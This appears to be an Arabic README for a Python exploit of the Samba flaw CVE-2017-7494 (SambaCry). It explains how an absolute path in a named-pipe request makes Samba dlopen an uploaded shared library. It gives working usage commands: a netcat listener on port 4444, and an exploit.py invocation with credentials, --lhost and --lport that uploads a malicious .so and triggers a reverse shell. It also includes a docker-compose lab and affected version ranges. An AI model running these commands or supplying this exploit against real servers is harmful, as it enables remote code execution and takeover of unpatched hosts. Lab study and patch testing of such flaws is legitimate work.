
استغلال بلغة Python لثغرة CVE-2017-7494 (SambaCry) يُظهر تنفيذ تعليمات برمجية عن بُعد بعد المصادقة عبر رفع مكتبة مشتركة خبيثة إلى مشاركة Samba وتشغيل تحميلها عبر dlopen.
تسمح ثغرة CVE-2017-7494/SambaCry للمستخدمين المصادق عليهم برفع مكتبة مشتركة إلى مجلد قابل للكتابة، وتنفيذ هجوم تنفيذ أكواد باستخدام المكتبات المرفوعة.
SambaCry هي ثغرة في التحقق من المسارات في كيفية معالجة Samba لطلبات الأنابيب المسماة (named-pipe). تُستخدم هذه الأنابيب عادةً للسماح للبرامج بالتواصل مع بعضها البعض من خلال قراءة البيانات وكتابتها عبر قناة شبيهة بالملفات.
عندما يستقبل Samba اسم أنبوب غير معروف، قد تعامله الإصدارات المعرّضة للخطر كاسم لوحدة قابلة للتحميل الديناميكي.
عادةً ما تكون هذه الوحدات مكتبات .so شرعية مثبّتة من قبل المسؤول.
تسمح الثغرة للعميل بتوفير مسار نظام ملفات مطلق بدلاً من اسم وحدة أو أنبوب عادي. لا يقوم Samba بتقييد هذا المسار بشكل صحيح، وقد ينفذ فعليًا: dlopen("/data/example.so", ...);.
تحميل مكتبة مشتركة يؤدي إلى تنفيذ كود التهيئة الخاص بها. لذلك، يمكن للمهاجم الذي يستطيع رفع ملف .so خبيث إلى موقع قابل للكتابة أن يجعل خدمة Samba تقوم بتحميله، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
لتفعيل حمولة تم رفعها مسبقًا:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
استخدم ملف docker-compose.yml الجاهز لتهيئة المختبر المعرّض للثغرة.
docker compose up -d
يستخدم المختبر Samba 4.5.9، وهو إصدار معرّض لهذه الثغرة.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3